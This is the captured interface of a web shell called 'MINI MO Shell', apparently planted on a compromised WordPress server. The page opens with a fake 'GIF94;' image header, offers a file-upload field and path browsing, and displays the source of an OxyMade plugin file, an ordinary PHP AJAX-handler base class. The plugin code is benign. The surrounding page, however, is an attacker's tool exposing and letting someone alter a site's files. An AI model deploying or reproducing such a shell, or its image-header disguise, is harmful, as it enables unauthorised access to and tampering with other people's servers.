GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxymade/includes/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxymade/includes/class-oxymade-ajax-handler.php

<?php
/**
 * OxyMade AjaxHandler Base Class
 *
 * Base class for AJAX handlers with common security and validation methods
 *
 * @package OxyMade
 * @since 0.1.6
 */

namespace OxyMade\Includes;

abstract class AjaxHandler {

    /**
     * Validate AJAX request with all security checks
     *
     * @param string $nonce_action Nonce action name
     * @param string $capability Capability to check (colors, typography, variables, etc.)
     * @param bool $check_https Whether to enforce HTTPS
     * @param int $rate_limit Maximum requests per period
     * @param int $rate_period Time period in seconds for rate limiting
     * @return bool True if valid, exits with error otherwise
     */
    protected static function validate_request(
        $nonce_action,
        $capability = 'colors',
        $check_https = false,
        $rate_limit = 10,
        $rate_period = MINUTE_IN_SECONDS
    ) {
        // Include required classes
        if (!class_exists('OxyMade\\Includes\\Capabilities')) {
            require_once plugin_dir_path(__FILE__) . 'class-oxymade-capabilities.php';
        }

        // Check HTTPS if required
        if ($check_https) {
            Capabilities::require_https();
        }

        // Check rate limit
        Capabilities::check_rate_limit($nonce_action, $rate_limit, $rate_period);

        // Verify nonce
        if (!isset($_POST['nonce']) || !\wp_verify_nonce($_POST['nonce'], $nonce_action)) {
            self::send_error(
                \__('Invalid or missing security token', 'oxymade'),
                'invalid_nonce'
            );
        }

        // Check capability
        Capabilities::check_capability($capability);

        return true;
    }

    /**
     * Send success response
     *
     * @param string $message Success message
     * @param array $data Additional data to send
     * @return void Exits with JSON response
     */
    protected static function send_success($message, $data = array()) {
        \wp_send_json_success(array(
            'message' => $message,
            'data' => $data,
            'timestamp' => current_time('mysql')
        ));
    }

    /**
     * Send error response
     *
     * @param string $message Error message
     * @param string $code Error code
     * @param array $data Additional error data
     * @return void Exits with JSON response
     */
    protected static function send_error($message, $code = '', $data = array()) {
        // Log error
        if (!class_exists('OxyMade\\Includes\\Logger')) {
            require_once plugin_dir_path(__FILE__) . 'class-oxymade-logger.php';
        }

        Logger::error($message, array(
            'code' => $code,
            'data' => $data,
            'user_id' => \get_current_user_id()
        ));

        \wp_send_json_error(array(
            'message' => $message,
            'code' => $code,
            'data' => $data,
            'timestamp' => current_time('mysql')
        ));
    }

    /**
     * Validate required fields in request
     *
     * @param array $fields Required field names
     * @param array|null $data_source Data source (defaults to $_POST)
     * @return bool True if valid, exits with error otherwise
     */
    protected static function validate_required_fields($fields, $data_source = null) {
        if (null === $data_source) {
            $data_source = $_POST;
        }

        $missing = array();

        foreach ($fields as $field) {
            if (!isset($data_source[$field]) || empty($data_source[$field])) {
                $missing[] = $field;
            }
        }

        if (!empty($missing)) {
            self::send_error(
                sprintf(
                    \__('Missing required fields: %s', 'oxymade'),
                    implode(', ', $missing)
                ),
                'missing_fields',
                array('missing' => $missing)
            );
        }

        return true;
    }

    /**
     * Sanitize and validate data against schema
     *
     * @param array $data Data to validate
     * @param array $schema Schema definition
     * @return array|false Validated data or false on failure
     */
    protected static function validate_data($data, $schema) {
        if (!class_exists('OxyMade\\Includes\\Validator')) {
            require_once plugin_dir_path(__FILE__) . 'class-oxymade-validator.php';
        }

        return Validator::validate_against_schema($data, $schema);
    }

    /**
     * Get POST parameter with sanitization
     *
     * @param string $key Parameter key
     * @param mixed $default Default value
     * @param string $sanitize_callback Sanitization callback
     * @return mixed Sanitized value
     */
    protected static function get_post($key, $default = null, $sanitize_callback = 'sanitize_text_field') {
        if (!isset($_POST[$key])) {
            return $default;
        }

        $value = $_POST[$key];

        if (is_callable($sanitize_callback)) {
            return call_user_func($sanitize_callback, $value);
        }

        return $value;
    }

    /**
     * Get GET parameter with sanitization
     *
     * @param string $key Parameter key
     * @param mixed $default Default value
     * @param string $sanitize_callback Sanitization callback
     * @return mixed Sanitized value
     */
    protected static function get_query($key, $default = null, $sanitize_callback = 'sanitize_text_field') {
        if (!isset($_GET[$key])) {
            return $default;
        }

        $value = $_GET[$key];

        if (is_callable($sanitize_callback)) {
            return call_user_func($sanitize_callback, $value);
        }

        return $value;
    }

    /**
     * Log debug information
     *
     * @param string $message Log message
     * @param array $context Additional context
     * @return void
     */
    protected static function log_debug($message, $context = array()) {
        if (!class_exists('OxyMade\\Includes\\Logger')) {
            require_once plugin_dir_path(__FILE__) . 'class-oxymade-logger.php';
        }

        Logger::debug($message, $context);
    }

    /**
     * Log info message
     *
     * @param string $message Log message
     * @param array $context Additional context
     * @return void
     */
    protected static function log_info($message, $context = array()) {
        if (!class_exists('OxyMade\\Includes\\Logger')) {
            require_once plugin_dir_path(__FILE__) . 'class-oxymade-logger.php';
        }

        Logger::info($message, $context);
    }
}

OHA YOOO - Tarih: 2026-08-04 00:03:43